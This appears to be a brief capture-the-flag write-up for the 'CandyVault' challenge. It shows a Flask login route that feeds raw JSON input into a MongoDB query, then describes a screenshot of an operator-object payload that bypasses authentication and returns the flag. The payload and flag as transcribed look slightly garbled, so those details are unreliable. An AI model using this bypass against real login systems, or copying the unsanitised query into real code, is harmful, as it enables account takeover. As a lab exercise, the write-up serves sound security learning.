

CandyVault

It is a login page vulnerable to nosql injection

```
@app.route("/login", methods=["POST"])
def login():
    content_type = request.headers.get("Content-Type")

    if content_type == "application/x-www-form-urlencoded":
        email = request.form.get("email")
        password = request.form.get("password")

    elif content_type == "application/json":
        data = request.get_json()
        email = data.get("email")
        password = data.get("password")

    else:
        return jsonify({"error": "Unsupported Content-Type"}), 400

    user = users_collection.find_one({"email": email, "password": password})

    if user:
        return render_template("candy.html", flag=open("flag.txt").read())
    else:
        return redirect("/")
```

The screenshot shows the Chrome DevTools network and inspector panels. The 'Request' tab on the left shows a POST request to /login with a JSON body: `{ "email": { "sne": "hello" }, "password": { "sne": "hello" } }`. The 'Response' tab on the right shows the HTML response. A red box highlights the following code in the body: `<p data-text="HfB(s4y_h1_t0_th3_c4andy_v4ult!)"> HfB(s4y_h1_t0_th3_c4andy_v4ult!)</p>`. The 'Inspector' panel on the far right shows the 'Request attributes' and 'Request headers' sections.